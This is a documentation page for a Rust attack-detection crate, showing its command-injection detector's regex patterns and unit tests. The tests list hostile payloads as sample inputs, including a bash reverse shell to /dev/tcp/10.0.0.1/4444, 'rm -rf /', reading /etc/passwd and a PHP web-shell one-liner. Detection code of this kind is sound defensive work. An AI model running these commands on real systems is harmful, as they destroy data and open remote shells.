security-rust 2.1.1

A pure Rust attack detection library with 32 detectors across 4 categories — injection, protocol, data, and file — plus stateful session, throttling, and risk scoring. Zero framework dependencies.
Documentation
// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz

use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
use regex::Regex;
use std::sync::LazyLock;

static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
    vec![
        Regex::new(r"`[^`]+`").unwrap(),
        Regex::new(r"\$\([^)]+\)").unwrap(),
        Regex::new(r"\|[\s]*\w+").unwrap(),
        Regex::new(r"\|\|[\s]*\w+").unwrap(),
        Regex::new(r"&&\s*\w+").unwrap(),
        Regex::new(r"/dev/tcp[/\w]*").unwrap(),
        Regex::new(r"(?i)passthru\s*\(").unwrap(),
        Regex::new(r"(?i)shell_exec\s*\(").unwrap(),
        Regex::new(r"(?i)system\s*\(").unwrap(),
        Regex::new(r"(?i)exec\s*\(").unwrap(),
        Regex::new(r"(?i)popen\s*\(").unwrap(),
        Regex::new(r"(?i)pcntl_exec\s*\(").unwrap(),
        Regex::new(r"(?i)cmd\.exe").unwrap(),
        Regex::new(r"(?i)powershell").unwrap(),
        Regex::new(r">/dev/null").unwrap(),
    ]
});

pub struct CommandInjectionDetector;

impl Detector for CommandInjectionDetector {
    fn name(&self) -> &'static str {
        "command_injection"
    }

    fn detect(&self, input: &str) -> Option<DetectionResult> {
        regex_detect(
            &PATTERNS,
            self.name(),
            AttackCategory::Injection,
            Severity::Critical,
            "Command injection detected",
            input,
        )
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn det() -> CommandInjectionDetector {
        CommandInjectionDetector
    }

    fn assert_hit(input: &str) {
        crate::test_helpers::assert_detected(
            &det(),
            input,
            AttackCategory::Injection,
            Severity::Critical,
        );
    }

    #[test]
    fn name_is_command_injection() {
        assert_eq!(det().name(), "command_injection");
    }

    #[test]
    fn detects_common_payloads() {
        for input in [
            "`cat /etc/passwd`",
            "$(rm -rf /)",
            "ls | grep passwd",
            "cd /tmp && rm -rf *",
            "bash -i >& /dev/tcp/10.0.0.1/4444",
            "php -r 'system($_GET[\"cmd\"]);'",
            "cmd.exe /c dir",
            "powershell -Command Get-Process",
        ] {
            assert_hit(input);
        }
    }

    #[test]
    fn benign_inputs_not_detected() {
        for input in [
            "Hello, this is a normal text input. Nothing suspicious here.",
            "The system is running normally",
            "I executed the plan successfully",
            "Pipes are used to join commands in unix",
            "Please run the update script",
        ] {
            assert!(det().detect(input).is_none(), "false positive: {input}");
        }
    }

    #[test]
    fn edge_cases() {
        assert!(det().detect("").is_none());
        assert!(det().detect(" \t\n ").is_none());
        assert!(det().detect("你好世界 こんにちは").is_none());
        // near misses: keyword present but not the payload form
        assert!(det().detect("system id").is_none());
        assert!(det().detect("rm -rf /").is_none());
        assert!(det().detect("cmd /c dir").is_none());
    }

    #[test]
    fn obfuscated_variants_detected() {
        for input in [
            "SYSTEM('id')",
            "Shell_Exec('id')",
            "PowerShell -Command Get-Process",
            "PASSTHRU('id')",
        ] {
            assert_hit(input);
        }
    }
}